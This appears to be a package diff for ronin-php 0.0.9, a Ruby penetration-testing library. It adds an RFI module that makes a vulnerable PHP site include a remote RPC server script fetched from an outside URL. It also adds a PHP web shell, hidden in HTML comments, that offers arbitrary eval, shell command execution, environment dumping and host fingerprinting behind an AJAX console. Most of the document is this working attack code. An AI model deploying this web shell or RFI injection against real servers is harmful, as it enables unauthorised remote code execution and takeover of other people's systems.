ronin-php 0.0.9

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,46 @@
1
+ #
2
+ #--
3
+ # Ronin PHP - A Ruby library for Ronin that provides support for PHP
4
+ # related security tasks.
5
+ #
6
+ # Copyright (c) 2007-2008 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # This program is free software; you can redistribute it and/or modify
9
+ # it under the terms of the GNU General Public License as published by
10
+ # the Free Software Foundation; either version 2 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # This program is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU General Public License
19
+ # along with this program; if not, write to the Free Software
20
+ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
+ #++
22
+ #
23
+
24
+ require 'ronin/rpc/php/client'
25
+
26
+ module Ronin
27
+ module PHP
28
+ class RFI
29
+ RPC_SERVER_SCRIPT = 'http://ronin.rubyforge.org/dist/php/rpc/server.min.php'
30
+
31
+ #
32
+ # Returns an PHP-RPC Client using the RFI vulnerability to inject
33
+ # the PHP-RPC Server script using the given _options_.
34
+ #
35
+ # _options_ may contain the following keys:
36
+ # <tt>:server</tt>:: The URL of the PHP-RPC Server script.
37
+ # Defaults to +RPC_SERVER_SCRIPT+.
38
+ #
39
+ def rpc(options={})
40
+ server_script = (options[:server] || RPC_SERVER_SCRIPT)
41
+
42
+ return RPC::PHP::Client.new(url_for(server_script),options)
43
+ end
44
+ end
45
+ end
46
+ end
@@ -0,0 +1,70 @@
1
+ #
2
+ #--
3
+ # Ronin PHP - A Ruby library for Ronin that provides support for PHP
4
+ # related security tasks.
5
+ #
6
+ # Copyright (c) 2007-2008 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # This program is free software; you can redistribute it and/or modify
9
+ # it under the terms of the GNU General Public License as published by
10
+ # the Free Software Foundation; either version 2 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # This program is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU General Public License
19
+ # along with this program; if not, write to the Free Software
20
+ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
+ #++
22
+ #
23
+
24
+ require 'ronin/rpc/shell'
25
+
26
+ module Ronin
27
+ module RPC
28
+ module PHP
29
+ class Shell < RPC::Shell
30
+
31
+ #
32
+ # Returns the current working directory.
33
+ #
34
+ def cwd
35
+ call(:cwd)
36
+ end
37
+
38
+ #
39
+ # Changes the current working directory.
40
+ #
41
+ def cd(path)
42
+ call(:cd,path)
43
+ end
44
+
45
+ #
46
+ # Returns the environment variables.
47
+ #
48
+ def env
49
+ call(:env)
50
+ end
51
+
52
+ #
53
+ # Returns the environment variable of the specified _name_.
54
+ #
55
+ def getenv(name)
56
+ call(:getenv,name)
57
+ end
58
+
59
+ #
60
+ # Sets the environment variable of the specified _name_
61
+ # with the specified _value_.
62
+ #
63
+ def setenv(name,value)
64
+ call(:setenv,name,value)
65
+ end
66
+
67
+ end
68
+ end
69
+ end
70
+ end
@@ -0,0 +1,5 @@
1
+ require 'rubygems'
2
+ gem 'rspec', '>=1.1.3'
3
+ require 'spec'
4
+
5
+ include Ronin
@@ -0,0 +1,27 @@
1
+ <?php
2
+ if (isset($_REQUEST['rfi_challenge']))
3
+ {
4
+ echo <<<EOS
5
+ <style type="text/css">
6
+ #rfi_response {
7
+ position: relative;
8
+ left: 50%;
9
+ width: 600px;
10
+ margin-left: -300px;
11
+ padding: 1em;
12
+ color: black;
13
+ background-color: white;
14
+ border: 20px solid black;
15
+ z-index: 10000;
16
+ }
17
+ #rfi_response p {
18
+ text-align: center;
19
+ font-weight: bold;
20
+ }
21
+ </style>
22
+ <div id="rfi_response">
23
+ <p>PHP RFI Response: {$_REQUEST['rfi_challenge']}</p>
24
+ </div>
25
+ EOS;
26
+ }
27
+ ?>
@@ -0,0 +1,482 @@
1
+ <!--
2
+ <?php
3
+ #
4
+ # Ronin PHP-RPC Server - A PHP-RPC server designed to work in hostile
5
+ # environments.
6
+ #
7
+ # Copyright (c) 2007-2008
8
+ #
9
+ # This program is free software; you can redistribute it and/or modify
10
+ # it under the terms of the GNU General Public License as published by
11
+ # the Free Software Foundation; either version 2 of the License, or
12
+ # (at your option) any later version.
13
+ #
14
+ # This program is distributed in the hope that it will be useful,
15
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
16
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17
+ # GNU General Public License for more details.
18
+ #
19
+ # You should have received a copy of the GNU General Public License
20
+ # along with this program; if not, write to the Free Software
21
+ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
22
+ #
23
+
24
+ function running($params=array())
25
+ {
26
+ return true;
27
+ }
28
+
29
+ function fingerprint($params=array())
30
+ {
31
+ $profile = array(
32
+ 'os' => PHP_OS,
33
+ 'system_name' => php_uname('s'),
34
+ 'system_release' => php_uname('r'),
35
+ 'system_version' => php_uname('v'),
36
+ 'machine_type' => php_uname('m'),
37
+ 'host_name' => php_uname('n'),
38
+ 'php_server_api' => php_sapi_name(),
39
+ 'php_version' => phpversion(),
40
+ 'uid' => posix_getuid(),
41
+ 'gid' => posix_getgid(),
42
+ 'cwd' => getcwd(),
43
+ 'disk_free_space' => disk_free_space('/'),
44
+ 'disk_total_space' => disk_total_space('/')
45
+ );
46
+
47
+ switch ($profile['php_server_api'])
48
+ {
49
+ case 'apache':
50
+ $profile['apache_version'] = apache_get_version();
51
+ break;
52
+ }
53
+
54
+ return $profile;
55
+ }
56
+
57
+ function rpc_method_proxy($method,$arguments,$server)
58
+ {
59
+ $session = array_shift($arguments);
60
+ $func = $server->methods[$method];
61
+
62
+ $server->load_session($session);
63
+
64
+ ob_start();
65
+
66
+ if (is_array($func))
67
+ {
68
+ $ret = $func[0]->$func[1]($arguments);
69
+ }
70
+ else
71
+ {
72
+ $ret = $func($arguments);
73
+ }
74
+
75
+ $output = ob_get_contents();
76
+ ob_end_clean();
77
+
78
+ $new_session = $server->save_session();
79
+
80
+ return array(
81
+ 'session' => $new_session,
82
+ 'output' => $output,
83
+ 'return_value' => $ret
84
+ );
85
+ }
86
+
87
+ class RPCServer
88
+ {
89
+ var $_server;
90
+
91
+ var $methods;
92
+
93
+ var $services;
94
+
95
+ function RPCServer()
96
+ {
97
+ $this->_server = xmlrpc_server_create();
98
+ $this->methods = array();
99
+ $this->services = array();
100
+ }
101
+
102
+ function load_session($session)
103
+ {
104
+ foreach ($session as $name => $values)
105
+ {
106
+ if (isset($this->services[$name]))
107
+ {
108
+ foreach ($this->services[$name]->persistant as $var)
109
+ {
110
+ if (isset($values[$var]))
111
+ {
112
+ $this->services[$name]->$var = $values[$var];
113
+ }
114
+ }
115
+ }
116
+ }
117
+ }
118
+
119
+ function register_method($name,$function)
120
+ {
121
+ $this->methods[$name] = $function;
122
+
123
+ return xmlrpc_server_register_method($this->_server, $name, 'rpc_method_proxy');
124
+ }
125
+
126
+ function register_service($name,&$service)
127
+ {
128
+ $this->services[$name] =& $service;
129
+
130
+ foreach ($service->methods as $rpc_name => $method)
131
+ {
132
+ $this->register_method("{$name}.{$rpc_name}",array(&$service, $method));
133
+ }
134
+ }
135
+
136
+ function call_method($xml)
137
+ {
138
+ return xmlrpc_server_call_method($this->_server, $xml, $this);
139
+ }
140
+
141
+ function rpc_services($method)
142
+ {
143
+ return array_keys($this->services);
144
+ }
145
+
146
+ function save_session()
147
+ {
148
+ $session = array();
149
+
150
+ foreach ($this->services as $name => $service)
151
+ {
152
+ $session[$name] = array();
153
+
154
+ foreach ($service->persistant as $var)
155
+ {
156
+ $session[$name][$var] = $service->$var;
157
+ }
158
+ }
159
+
160
+ return $session;
161
+ }
162
+ }
163
+
164
+ class Service
165
+ {
166
+ var $methods;
167
+
168
+ var $persistant;
169
+
170
+ function Service()
171
+ {
172
+ $this->methods = array();
173
+ $this->persistant = array();
174
+ }
175
+
176
+ function is_windows()
177
+ {
178
+ return substr(PHP_OS, 0, 3) == 'WIN';
179
+ }
180
+ }
181
+
182
+ class ConsoleService extends Service
183
+ {
184
+ var $includes;
185
+
186
+ function ConsoleService()
187
+ {
188
+ $this->includes = array();
189
+ $this->methods = array(
190
+ 'invoke' => 'rpc_invoke',
191
+ 'eval' => 'rpc_eval',
192
+ 'inspect' => 'rpc_inspect'
193
+ );
194
+
195
+ $this->persistant = array('includes');
196
+ }
197
+
198
+ function rpc_invoke($params)
199
+ {
200
+ $name = $params[0];
201
+ $arguments = $params[1];
202
+ $call_arguments = array();
203
+
204
+ if ($arguments != null)
205
+ {
206
+ foreach(array_keys($arguments) as $index)
207
+ {
208
+ $call_arguments[$index] = "\$arguments[{$index}]";
209
+ }
210
+ }
211
+
212
+ $call_string = "return {$name}(" . join(", ", $call_arguments) . ");";
213
+
214
+ $ret = eval($call_string);
215
+
216
+ if (($name == 'include' || $name == 'require') && $ret != false)
217
+ {
218
+ $this->includes[] = $arguments[0];
219
+ }
220
+
221
+ return $ret;
222
+ }
223
+
224
+ function rpc_eval($params)
225
+ {
226
+ $code = trim($params[0]);
227
+
228
+ if ($code[strlen($code) - 1] != ';')
229
+ {
230
+ $code .= ';';
231
+ }
232
+
233
+ return eval('return ' . $code);
234
+ }
235
+
236
+ function rpc_inspect($params)
237
+ {
238
+ $ret = $this->rpc_eval($params);
239
+
240
+ ob_start();
241
+ print_r($ret);
242
+ $output = ob_get_contents();
243
+ ob_end_clean();
244
+
245
+ return $output;
246
+ }
247
+ }
248
+
249
+ class ShellService extends Service
250
+ {
251
+ var $cwd;
252
+
253
+ var $env;
254
+
255
+ function ShellService()
256
+ {
257
+ $this->cwd = getcwd();
258
+ $this->env = array();
259
+
260
+ $this->methods = array(
261
+ 'exec' => 'rpc_exec',
262
+ 'cd' => 'rpc_cd',
263
+ 'cwd' => 'rpc_cwd',
264
+ 'env' => 'rpc_env',
265
+ 'getenv' => 'rpc_getenv',
266
+ 'setenv' => 'rpc_setenv'
267
+ );
268
+
269
+ $this->persistant = array('cwd', 'env');
270
+ }
271
+
272
+ function format($obj)
273
+ {
274
+ if (is_array($obj))
275
+ {
276
+ $formatted = array();
277
+
278
+ foreach($obj as $value)
279
+ {
280
+ $formatted[] = $this->format($value);
281
+ }
282
+
283
+ return join(' ', $formatted);
284
+ }
285
+ else if ($obj == null)
286
+ {
287
+ return '';
288
+ }
289
+
290
+ return "{$obj}";
291
+ }
292
+
293
+ function exec_output($command)
294
+ {
295
+ $output = array();
296
+ exec($command, &$output);
297
+
298
+ return $output;
299
+ }
300
+
301
+ function load_env()
302
+ {
303
+ if ($this->is_windows())
304
+ {
305
+ $command = 'set';
306
+ }
307
+ else
308
+ {
309
+ $command = 'env';
310
+ }
311
+
312
+ $this->env = array();
313
+
314
+ foreach ($this->exec_output($command) as $line)
315
+ {
316
+ list($name, $value) = explode('=', $line, 2);
317
+ $this->env[$name] = $value;
318
+ }
319
+ }
320
+
321
+ function rpc_cwd($params=array())
322
+ {
323
+ return $this->cwd;
324
+ }
325
+
326
+ function rpc_cd($params)
327
+ {
328
+ $new_cwd = $params[0];
329
+
330
+ if ($new_cwd[0] != DIRECTORY_SEPARATOR)
331
+ {
332
+ $new_cwd = $this->cwd . DIRECTORY_SEPARATOR . $new_cwd;
333
+ }
334
+
335
+ $new_cwd = realpath($new_cwd);
336
+
337
+ if (file_exists($new_cwd))
338
+ {
339
+ $this->cwd = $new_cwd;
340
+ return true;
341
+ }
342
+
343
+ return false;
344
+ }
345
+
346
+ function rpc_env($params=array())
347
+ {
348
+ return $this->env;
349
+ }
350
+
351
+ function rpc_getenv($params)
352
+ {
353
+ return $this->env[$params[0]];
354
+ }
355
+
356
+ function rpc_setenv($params)
357
+ {
358
+ return $this->env[$params[0]] = $params[1];
359
+ }
360
+
361
+ function rpc_exec($params)
362
+ {
363
+ $command = 'cd ' . $this->cwd . '; ';
364
+
365
+ if (count($params) > 1)
366
+ {
367
+ $command .= array_shift($params) . ' ' . $this->format($params);
368
+ }
369
+ else
370
+ {
371
+ $command .= $params[0];
372
+ }
373
+
374
+ $command .= '; pwd';
375
+
376
+ $output = $this->exec_output($command);
377
+ $this->cwd = array_pop($output);
378
+
379
+ $output_string = '';
380
+
381
+ foreach ($output as $line)
382
+ {
383
+ $output_string .= "{$line}\n";
384
+ }
385
+
386
+ return $output_string;
387
+ }
388
+ }
389
+
390
+ if (isset($_REQUEST['rpc_call']))
391
+ {
392
+ $server = new RPCServer();
393
+ $server->register_method('running', 'running');
394
+ $server->register_method('fingerprint', 'fingerprint');
395
+ $server->register_service('console', new ConsoleService());
396
+ $server->register_service('shell', new ShellService());
397
+
398
+ $xml = base64_decode(rawurldecode($_REQUEST['rpc_call']));
399
+ $response = $server->call_method($xml);
400
+
401
+ echo("<rpc>{$response}</rpc>");
402
+ exit;
403
+ }
404
+
405
+ ?>
406
+ -->
407
+
408
+ <html>
409
+ <head>
410
+ <title>Ronin::PHP - AJAX PHP-RPC Console</title>
411
+ <link rel="stylesheet" type="text/css" href="ajax/css/layout.css">
412
+ <script type="text/javascript" src="ajax/js/base64.js"></script>
413
+ <script type="text/javascript" src="ajax/js/jquery-1.2.6.min.js"></script>
414
+ <script type="text/javascript" src="ajax/js/jquery-ui-personalized-1.5.2.min.js"></script>
415
+ <script type="text/javascript" src="ajax/js/jquery.terminal.js"></script>
416
+ <script type="text/javascript" src="ajax/js/jquery.phprpc.js"></script>
417
+ <script type="text/javascript" src="ajax/js/ui.js"></script>
418
+
419
+ <script type="text/javascript">
420
+ $(document).ready(function() {
421
+ $("#console_shell").terminal(function(input) {
422
+ shell.exec(input);
423
+ });
424
+
425
+ $("#console_php").terminal(function(input) {
426
+ php.inspect(input);
427
+ });
428
+
429
+ $("#console_tabs > ul").tabs({
430
+ fx: { height: 'toggle' },
431
+ show: function(ui) {
432
+ $("input", ui.panel).focus();
433
+ }
434
+ });
435
+ $("#console_title").hide();
436
+
437
+ $("#console_title").fadeIn(1300, function() {
438
+ $("#console_shell").terminalFocus();
439
+ });
440
+ });
441
+ </script>
442
+ </head>
443
+
444
+ <body>
445
+ <div id="console_container">
446
+ <h1 id="console_title">AJAX PHP-RPC Console v1.0</h1>
447
+
448
+ <div id="console_content">
449
+ <div id="console_tabs">
450
+ <ul>
451
+ <li><a href="#console_shell"><span>Shell</span></a></li>
452
+ <li><a href="#console_php"><span>PHP</span></a></li>
453
+ <li><a href="#console_fingerprint"><span>Fingerprint</span></a></li>
454
+ </ul>
455
+
456
+ <div id="console_shell" class="console_tab"></div>
457
+
458
+ <div id="console_php" class="console_tab"></div>
459
+
460
+ <div id="console_fingerprint" class="console_tab">
461
+ <div class="console_dialogue">
462
+ <!--
463
+ <?php
464
+ echo(" -->");
465
+
466
+ $info = fingerprint();
467
+
468
+ foreach($info as $name => $value)
469
+ {
470
+ echo("<p><strong>" . str_replace('_', ' ', $name) . ":</strong> $value</p>\n");
471
+ }
472
+
473
+ echo("<!-- ");
474
+ ?>
475
+ -->
476
+ </div>
477
+ </div>
478
+ </div>
479
+ </div>
480
+ </div>
481
+ </body>
482
+ </html>